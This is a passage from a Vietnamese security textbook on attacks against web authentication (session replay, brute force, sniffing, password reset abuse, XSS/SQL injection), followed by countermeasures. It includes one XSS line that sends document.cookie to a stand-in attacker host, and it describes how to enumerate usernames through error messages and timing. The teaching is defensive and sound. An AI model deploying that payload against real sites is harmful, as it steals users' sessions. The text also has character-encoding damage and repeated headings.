CHƢƠNG 2 CÁC DẠNG TẤN CÔNG THƢỜNG GẶP LÊN ỨNG DỤNG WEB
2.4. Tấn công vào các cơ chế xác thực
2.4.1. Giới thiệu
Xác thực (authentication) trong một mức độ nào đó nhằm xác minh thơng tin nhận dạng của một cá nhân hoặc một thực thể. Trao quyền (authorization) xác định các quyền truy nhập vào các đối tƣợng, tài nguyên mà ngƣời dùng đƣợc cấp, sau khi ngƣời dùng đã đƣợc xác thực. Tấn công vào các cơ chế xác thực (Authentication attacks) là các loại tấn công vào khâu xác thực thông tin định danh ngƣời dùng (User authentication) và trao quyền cho ngƣời dùng (User authorization). Đểphá đƣợc cơ chế xác thực ứng dụng web, kẻ tấn cơng có 2 lựa chọn: (1) Đánh cắp mật khẩu tài khoản ngƣời dùng và (2) Bỏ qua khâu xác thực ngƣời dùng. Cả 2 lựa chọn trên đều đƣợc các tin tặc sử dụng trong từng điều kiện khác nhau trên các hệ thống khác nhau.
2.4.2. Các dạng tấn công vào các cơ chế xác thực
Các dạng tấn công vào các cơ chế xác thực bao gồm các dạng sau: phát lại chuỗi định danh phiên, vét cạn, nghe lén, khởi tạo lại mật khẩu và XSS / SQL Injection.
2.4.2.1. Phát lại chuỗi định danh phiên
Nhƣ đã đề cập trong Chƣơng 1, giao thức HTTP không hỗ trợ phiên (session) làm việc. Tuy nhiên, đa số các máy chủ hỗ trợ phiên làm việc bằng việc sử dụng cookie để nhận dạng ngƣời dùng. Cookie là một mẩu thông tin mà máy chủweb lƣu lên trình duyệt. Theo đó, cookie có thể lƣu thơng tin vềphiên nhƣ chuỗi định danh (ID) của phiên và các thông tin xác thực ngƣời dùng. Các phiên làm việc có thể đƣợc xác thực bằng 1 tên ngƣời dùng (username) và một mật khẩu (password). Kẻ tấn cơng có thểđánh cắp thơng tin xác thực và giảdanh ngƣời dùng đểđăng nhập vào hệ thống.
Kẻ tấn cơng có thể đánh cắp thơng tin xác thực ngƣời dụng sử dụng các kỹ thuật: - Tấn công XSS đểđánh cắp cookie:
<img src='http://site.of.attacker/' +escape (document.cookie)>
- Tấn công CSRF để cắp cookie của ngƣời dùng đang trong phiên làm việc
- Tấn công SQL Injection để đánh cắp thông tin vềphiên trong các trƣờng hợp trang web lƣu thông tin về phiên trong cơ sở dữ liệu.
2.4.2.2. Vét cạn
Tấn công vét cạn (Brute force) sử dụng kiểu quét, hoặc thử tất cả các trƣờng hợp để tìm tên ngƣời dùng và mật khẩu. Kẻ tấn cơng có thể dựa vào các tín hiệu phản hồi, hoặc báo lỗi của hệ thống để nhận biết dấu hiệu thành công hoặc thất bại trong vét cạn tìm mật khẩu. Chẳng hạn, nếu báo lỗi là "Invalid username and password" có nghĩa là username và password đều sai, nếu báo lỗi là "Invalid password" thì chỉ password sai, cịn username đã đúng. Kẻ tấn cơng cũng có thể dựa vào thời gian xử lý để nhận biết: Nếu khơng tìm thấy username có nghĩa là thời gian tìm kiếm thƣờng dài hơn do phải quét hết
50 danh sách. Ngƣợc lại, nếu tìm thấy username thì thời gian tìm kiếm thƣờng ngắn hơn do khơng phải qt hết danh sách ngƣời dùng.
2.4.2.3. Nghe lén
Nghe lén (Sniffing) là việc chặn bắt lƣu lƣợng mạng truyền qua card mạng hoặc các thiết bị mạng nhƣ router hoặc switch để phân tích lấy thơng tin nhạy cảm. Các mạng WLAN dễ bị nghe lén hơn do môi trƣờng truyền tín hiệu qua khơng khí. Lƣu lƣợng HTTP có thể dễ dàng bị nghe lén do không đƣợc mã hóa. Một số cơng cụ, thƣ viện nghe lén điển hình, gồm: Tcpdump, Wireshark, Pcap/Wincap và Firesheep plugin. Hình 2.13 minh họa việc nghe lén bắt token của phiên bằng Tcpdump và Hình 2.14 là giao điện nghe lén sử dụng Firesheep plug-in trong trình duyệt.
Hình 2.13.Nghe lén bắt token của phiên bằng Tcpdump
Hình 2.14.Nghe lén sử dụng Firesheep plug-in trong trình duyệt 2.4.2.4. Khởi tạo lại mật khẩu 2.4.2.4. Khởi tạo lại mật khẩu
Khởi tạo lại mật khẩu (Password resetting) là kỹ thuật khai thác điểm yếu trong tính năng khởi tạo lại mật khẩu cho ngƣời dùng hỗ trợ bởi nhiều website. Một website có thể
51 gửi mật khẩu ở dạng rõ cho ngƣời dùng qua email, hoặc cung cấp một cơ chế xác thực bằng các câu hỏi an ninh và thơng tin cá nhân. Website cũng có thể gửi 1 liên kết (link) vào hộp thƣ của ngƣời dùng cho phép ngƣời dùng khởi tạo lại mật khẩu. Kẻ tấn cơng có thể nghe lén để đánh cắp các thông tin xác thực phụ, hoặc mật khẩu nếu đƣợc gửi dƣới dạng rõ. Hắn cũng có thể nghe lén để đánh cắp link cho phép khởi tạo lại mật khẩu và thực hiện đổi mật khẩu của ngƣời dùng.
2.4.2.5. XSS / SQL Injection
Nhƣ đã đề cập ở mục 2.1, kẻ tấn cơng có thể sử dụng tấn công XSS để đánh cắp thông tin phiên làm việc, cookie chứa thông tin xác thực ngƣời dùng trên các website có tồn tại lỗi cho phép tấn cơng XSS.
Tƣơng tự, nếu website tồn tại lỗi chèn mã SQL, kẻ tấn cơng cũng có thể sử dụng các kỹ thuật tấn công chèn mã SQL để đăng nhập vào hệ thống khơng cần mật khẩu, hoặc thậm chí đăng nhập mà không cần tên truy nhập và mật khẩu, nhƣ đã đề cập ở mục 2.3.2.
2.4.3. Các biện pháp phịng chống tấn cơng vào các cơ chế xác thực
Các biện pháp phịng chống tấn cơng vào các cơ chế xác thực bao gồm: bảo vệ cookie của phiên, sử dụng các cơ chế xác thực an toàn, yêu cầu ngƣời dùng tham gia và làm phiền ngƣời dùng, sử dụng ngƣỡng, phòng chống phishing và bảo vệ mật khẩu.
2.4.3.1. Bảo vệ cookie của phiên
Do cookie là một trong các phƣơng tiện hỗ trợ máy chủ và máy khách duy trì phiên làm việc, nên bảo vệ cookie là một trong các biện pháp hiệu quả để bảo vệ phiên làm việc. Các biện pháp bảo vệ cookie cụ thể bao gồm:
- Hạn chế việc chuyển cookie qua kênh khơng mã hóa;
- Xác định rõ thời gian hết hạn của cookie, đồng thời hạn chế các cookie tồn tại lâu dài;
- Sử dụng tính năng "Remember Me", "Remember Password" một cách hợp lý; - Với các tính năng quan trọng, ln yêu cầu ngƣời dùng phải xác thực lại.
- Với các cookie lƣu thông tin định danh, cần đƣợc mã hóa bằng các hàm băm có khóa (HMAC).
2.4.3.2. Sử dụng các cơ chế xác thực an toàn
Các cơ chế xác thực an tồn có thể áp dụng với các ứng dụng web bao gồm: - Sử dụng mật khẩu dƣới dạng mã hóa, chẳng hạn dƣới dạng băm;
- Nên sử dụng các kênh an tồn nhƣ SSL/TLS để truyền thơng tin xác thực;
- Sử dụng mật khẩu 1 lần (OTP), hoặc giao thức xác thực thách thức – trả lời (Challenge-Response);
- Sử dụng giao thức OAuth: Giao thức OAuth nhằm tạo 1 chuẩn xác thực, cho phép tạo chuỗi xác thực từ tên truy nhập và mật khẩu. Ngƣời dùng chỉ cần cung cấp tên truy nhập và mật khẩu 1 lần cho máy chủ xác thực và đƣợc cấp 1 chuỗi xác thực. Chuỗi xác thực này đƣợc dùng để xác thực ngƣời dùng với các máy chủ dịch vụ;
52 - Sử dụng giao thức OpenID: OpenID ( http://openid.net) cho phép 1 website sử
dụng cơ chế xác thực của 1 bên thứ 3 tin cậy để xác thực ngƣời dùng. Ƣu điểm của cơ chế này là hệ thống không phải lƣu tên truy nhập và mật khẩu của ngƣời dùng và cũng không phải cài đặt cơ chế xác thực. Hình 2.15 minh họa trang web Skeptics sử dụng OpenID để xác thực ngƣời dùng sử dụng một trong các bên thứ ba tin cậy, nhƣ Google, Facebook để xác thực ngƣời dùng.
Hình 2.15.Xác thực sử dụng OpenID 2.4.3.3. Yêu cầu người dùng tham gia và làm phiền người dùng 2.4.3.3. Yêu cầu người dùng tham gia và làm phiền người dùng
Yêu cầu ngƣời dùng tham gia là việc thông báo cho ngƣời dùng về các sự kiện quan trọng, các hành động nhạy cảm có liên quan đến tài khoản của họ, nhƣ lần đăng nhập gần nhất, đăng nhập ở vị trí, địa điểm khơng thƣờng xuyên, hoặc đăng nhập sai nhiều lần. Hơn nữa, đển đảm bảo an toàn cho tài khoản, luôn yêu cầu ngƣời dùng xác thực lại trong các trƣờng hợp, nhƣ đổi mật khẩu, hoặc cập nhật thông tin cá nhân,...
Làm phiền ngƣời dùng là biện pháp xác thực bổ sung, nhằm đảm bảo trang web thực sựđƣợc tải từ máy chủvà thông tin đƣợc nhập từngƣời dùng thực sự, không phải là một hệ thống xử lý tựđộng hay một rô bốt. Một trong các kỹ thuật đƣợc sử dụng phổ biến cho mục đích này là CATPCHAR (Completely Automated Public Turing Computers and Humans Apart), nhƣ minh họa trên Hình 2.16.
53
Hình 2.16.Sử dụng CAPTCHAR để xác thực trang 2.4.3.4. Sử dụng ngưỡng 2.4.3.4. Sử dụng ngưỡng
Sử dụng ngƣỡng (Threshold) là biện pháp hiệu quả để ngăn chặn việc sử dụng quá mức tài nguyên hoặc ngăn chặn các nỗ nực tấn cơng. Chẳng hạn, có thể hạn chế số lần đăng nhập sai từ một địa chỉ IP thông qua sử dụng một trong các "luật":
- Nếu 1 ngƣời dùng đăng nhập sai 3 lần từ 1 địa chỉ IP trong vịng 10 phút thì khóa tài khoảng trong 1 giờ; hoặc
- Nếu 1 ngƣời dùng đăng nhập sai 5 lần từ1 địa chỉ IP trong vòng 2 giờ thì khóa tài khoảng khóa trong 1 ngày.
2.4.3.5. Phòng chống phishing và bảo vệ mật khẩu
Phising là một trong các dạng tấn công sử dụng các kỹ thuật xã hội đánh lừa ngƣời dùng cung cấp các thông tin tài khoản, hoặc thông tin nhạy cảm khác. Để phòng chống phising hiệu quả, cần hiển thị rõ tên, logo của tổ chức trên website, đồng thời sử dụng chứng chỉ số SSL/TLS và cấu hình vận hành website trên giao thức HTTPS thay cho HTTP.
Các cơ chế bảo vệ mật khẩu ngƣời dùng cũng giúp phòng chống hiệu quả các dạng tấn công vào các cơ chế xác thực. Với ngƣời dùng cần đào tạo ý thức bảo vệ tài khoản, mật khẩu phù hợp, không tiết lộ mật khẩu cá nhân cho ngƣời khác. Với hệ thống, cần hỗ trợcác cơ chếđảm bảo độ khó và đổi mật khẩu định kỳ phù hợp.